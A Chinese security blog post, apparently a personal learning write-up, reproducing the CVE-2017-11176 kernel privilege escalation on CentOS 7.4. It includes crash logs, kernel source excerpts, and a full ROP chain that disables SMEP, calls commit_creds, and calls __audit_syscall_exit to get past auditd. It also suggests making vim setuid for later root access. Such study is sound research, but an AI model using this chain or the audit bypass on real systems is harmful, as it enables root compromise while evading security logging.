freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

kernel pwn绕过auditd审计系统
2024-08-16 14:27:33

最近看着bsauce的博客学习kernel pwn,想试着把CVE-2017-11176复现一下,于是下载了centos 7.4.1708的内核,linux 3.10.0-693.el7.x86_64.

主要是在becauce的代码的基础上修改了下位移:

(1)netlink_sock->portid            $ p/x &(*(struct netlink_sock *)0)->portid
    gdb-peda$ print sizeof(struct sock)
    $4 = 0x300
(2)netlink_sock->groups         0x300 + 0x18
(3)netlink_sock->wait->task_list.next
(4)netlink_sock->wait->task_list.prev

改完偏移后前面堆喷也很顺利,然后rop的时候因为没有xchg eax, esp; ret; 的gadget,所以修改为0xffffffff81075f57: mov esp, eax; ret;,别的也跟着修改。

在centos 7.4上复现一下,结果没有成功,查了原因,需要关闭smap和kaslr保护,于是使用qemu脚本测试成功了,但是在vmware虚拟机里用iso装系统的时候不成功,内核会崩溃,看了下日志,发现了kernel crash的栈是这样的:

[   34.351195] CPU: 0 PID: 2642 Comm: exp-centos-3100 Not tainted 3.10.0-693.el7.x86_64 #1
[   34.351199] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[   34.351204] task: ffff88005a4abf40 ti: ffff8800657c4000 task.ti: ffff8800657c4000
[   34.351208] RIP: 0010:[<ffffffff8111f3cf>]  [<ffffffff8111f3cf>] __audit_syscall_entry+0xff/0x110
[   34.351222] RSP: 0018:ffff8800657c7f68  EFLAGS: 00010202
[   34.351226] RAX: 000000000000005a RBX: ffff880067b7fc00 RCX: 00000000000000d0
[   34.351230] RDX: 00000000000009ed RSI: 00000000004b2008 RDI: 000000000000005a
[   34.351233] RBP: ffff8800657c7f78 R08: 00007ffe3fb87d74 R09: ffff88005a4abf40
[   34.351236] R10: 00007ffe3fb87d74 R11: 0000000000000246 R12: 0000000000000001
[   34.351240] R13: 00007ffe3fb87450 R14: 0000000000000000 R15: 0000000000000001
[   34.351245] FS:  00000000005f93c0(0063) GS:ffff88017fc00000(0000) knlGS:0000000000000000
[   34.351249] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[   34.351253] CR2: 0000563af42e44a0 CR3: 000000005a45c000 CR4: 00000000000006f0
[   34.351272] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[   34.351290] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400
[   34.351292] Stack:
[   34.351295]  0000000000000001 ffff8801593b2338 00007ffe3fb87d60 ffffffff816B50a3
[   34.351303]  0000000000000246 00007ffe3fb87d74 ffffffff810b79a0 0000000000019c20
[   34.351309]  000000000000005a ffffffffffffffff 00000000000000d0 00000000000009ed
[   34.351317] Call Trace:
[   34.351328]  [<ffffffff816B50a3>] auditsys+0x14/0x45
[   34.351337]  [<ffffffff810b79a0>] ? prepare_kernel_cred+0x20/0x120
[   34.351340] Code: 5d c3 66 2e 0f 1f 84 00 00 00 00 00 48 c7 43 50 00 00 00 00 48 c7 c2 40 fc a3 81 48 89 de 4c 89 cf e8 b6 f4 ff ff 41 89 c4 eb 9a <0f> 0b 0f 1f 44 00 00 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 
[   34.351415] RIP  [<ffffffff8111f3cf>] __audit_syscall_entry+0xff/0x110
[   34.351421]  RSP <ffff8800657c7f68>

之后使用strace测速系统调用的时候也崩溃了,栈是这样的:

[   28.702169] CPU: 0 PID: 2647 Comm: exp-centos-3100 Not tainted 3.10.0-693.el7.x86_64 #1
[   28.702174] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[   28.702203] task: ffff880060e28000 ti: ffff88007299c000 task.ti: ffff88007299c000
[   28.702209] RIP: 0010:[<ffffffff8111f3cf>]  [<ffffffff8111f3cf>] __audit_syscall_entry+0xff/0x110
[   28.702306] RSP: 0018:ffff88007299ff08  EFLAGS: 00010202
[   28.702312] RAX: ffff880060e28000 RBX: ffff88015bcb7400 RCX: 00000000000000d0
[   28.702353] RDX: 00000000000009ed RSI: 00000000004b2008 RDI: 000000000000005a
[   28.702360] RBP: ffff88007299ff18 R08: 00007ffe6a4c5f54 R09: ffff880060e28000
[   28.702365] R10: 0000000000000000 R11: 0000000000000000 R12: 0000000000000001
[   28.702369] R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000001
[   28.702377] FS:  00000000008573c0(0063) GS:ffff88017fc00000(0000) knlGS:0000000000000000
[   28.702383] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[   28.702389] CR2: 00007f1a4a0e6000 CR3: 000000006888c000 CR4: 00000000000006f0
[   28.702425] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[   28.702448] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400
[   28.702452] Stack:
[   28.702456]  ffff88007299ff58 000000000000005a ffff88007299ff48 ffffffff81039033
[   28.702467]  0000000000000001 ffff88006882f338 00007ffe6a4c5630 0000000000000000
[   28.702477]  00007ffe6a4c5f40 ffffffff816b5173 0000000000000001 0000000000000000
[   28.702487] Call Trace:
[   28.702528]  [<ffffffff81039033>] syscall_trace_enter+0x173/0x220
[   28.702583]  [<ffffffff816b5173>] tracesys+0x7e/0xe2
[   28.702614]  [<ffffffff810b79a0>] ? prepare_kernel_cred+0x20/0x120
[   28.702620] Code: 5d c3 66 2e 0f 1f 84 00 00 00 00 00 48 c7 43 50 00 00 00 00 48 c7 c2 40 fc a3 81 48 89 de 4c 89 cf e8 b6 f4 ff ff 41 89 c4 eb 9a <0f> 0b 0f 1f 44 00 00 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 
[   28.702729] RIP  [<ffffffff8111f3cf>] __audit_syscall_entry+0xff/0x110
[   28.702739]  RSP <ffff88007299ff08>

发现他们共同在同一个指令里面crash了__audit_syscall_entry+0xff,于是按照这个文章的方法开了KVM然后设置两线程调试在,用gdb在里面下了断点,对照源码发现是如下问题,在kernel/auditsc.c:1517行:

void __audit_syscall_entry(int major, unsigned long a1, unsigned long a2,
unsigned long a3, unsigned long a4)
{
struct task_struct *tsk = current;
struct audit_context *context = tsk->audit_context;
enum audit_state     state;

if (!context)
return;

BUG_ON(context->in_syscall || context->name_count);  这行!

if (!audit_enabled)
return;

context->arch       = syscall_get_arch();
context->major      = major;
context->argv[0]    = a1;
context->argv[1]    = a2;
context->argv[2]    = a3;
context->argv[3]    = a4;

注意到里面那行有个BUG_ON,去查了一下,这个auditd是linux里面的审计系统模块,默认centos是装的,可以用systemctl status auditd查看是否开启:

1723200318_66b5f33e49df570337385.png!small主要功能是对每个程序的系统调用进行审计。我们知道,程序如果要使用一些高权限的功能如网络,chmod等需要用到系统调用,再由系统代为执行,而通过分析系统程序的系统调用可以知道程序的安全性。

于是我关闭审计系统后再次尝试poc就能成功,但是有没有什么办法可以绕过这个系统的呢?经过审计,我发现这个产生BUG的原因是我们通过系统调用进行提权,那么我们这个线程里面的context->in_syscall就会设置为1,正常的系统调用返回的时候都会调用__audit_syscall_exit函数,然后让这个context->in_syscall设置为0,如下所示:

void __audit_syscall_exit(int success, long return_code)
{
        struct task_struct *tsk = current;
        struct audit_context *context;

        if (success)
                success = AUDITSC_SUCCESS;
        else
                success = AUDITSC_FAILURE;

        context = audit_get_context(tsk, success, return_code);
        if (!context)
                return;

        if (context->in_syscall && context->current_state == AUDIT_RECORD_CONTEXT)
                audit_log_exit(context, tsk);

        context->in_syscall = 0; 这行!
        context->prio = context->state == AUDIT_RECORD_CONTEXT ? ~0ULL : 0;

而我们提权的时候没有正常返回,所以没有设置为0 ,因此,解决方法是在rop链里面增加这一条返回地址,即可绕过系统。centos里面是这个,查找方法是使用ropper和objdump,ropgadget实在太慢了:

p[r++] = 0xffffffff8111f3e0;//: mov esp, eax; ret;


总结 :有些POC在ubuntu和debian系统里面提权能够很轻易的成功,但是在centos里面就不行,可能是因为这个原因,难怪企业应用优先选择centos,安全性确实好一些。

除了第一句,其余的ROP链条如下,仅供学习,现实环境因为开启了smap和kaslr无法利用:

int r = 0;
    p[r++] = 0xffffffff8139337a  ;// 0xffffffff8139337a : pop rdi; ret; 
    p[r++] = 0x6f0;
    p[r++] = 0xffffffff81019e1d ;// 0xffffffff81019e1d: mov cr4, rdi; pop rbp; ret;
    p[r++] = (unsigned long)p+0x100;
    p[r++] = 0xffffffff81026063; // 0xffffffff81026063: pop rax; ret;
    p[r++] = 0;
    p[r++] = 0xffffffff8139337a; // 0xffffffff8139337a: pop rdi; ret;  
    p[r++] = 0;
    p[r++] = 0xffffffff810b7980; // prepare_kernel_cred
    p[r++] = 0xffffffff810b7670; // commit_creds
    p[r++] = 0xffffffff8111f3e0; //__audit_syscall_exit 绕过auditd,设置context->in_sysvall=0,如果没有可以删除这段
    p[r++] = 0xffffffff810632d4 ;// 0xffffffff810632d4: swapgs; pop rbp; ret;
    p[r++] = p+0x100;
    p[r++] = 0xffffffff8105528d ; // 0xffffffff8105528d: iretq; 
    p[r++] = (unsigned long)getshell;
    p[r++] = user_cs;
    p[r++] = user_eflags;
    p[r++] = user_sp|0x8; //栈平衡
    p[r++] = user_ss;
    p[r++] = 0xdeadbeefdeadbeef;
    p[r++] = 0xdeadbeefdeadbeef;
    p[r++] = 0xdeadbeefdeadbeef;
    p[r++] = 0xdeadbeefdeadbeef;

实际效果:

实测中因为getshell之后系统会崩溃,所以可以先使用

chmod("/usr/bin/vim",S_ISUID|S_IRWXU|S_IRGRP|S_IXGRP|S_IROTH|S_IXOTH);

系统调用改变vim的权限,待系统重启之后使用suid提权。

参考:

linux kernel UAF(CVE-2017-11176)漏洞分析与利用 - FreeBuf网络安全行业门户
【kernel exploit】CVE-2017-11176 竞态Double-Free漏洞调试 — bsauceCVE-2017-11176-Kernel-double-fetch漏洞分析 | A1ex's Blog
kernel-exploit-factory/CVE-2017-11176/exp-slab-4119.c at main · bsauce/kernel-exploit-factory (github.com)
# linux # 内核安全 # 内核漏洞 # Linux内核 # pwn
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者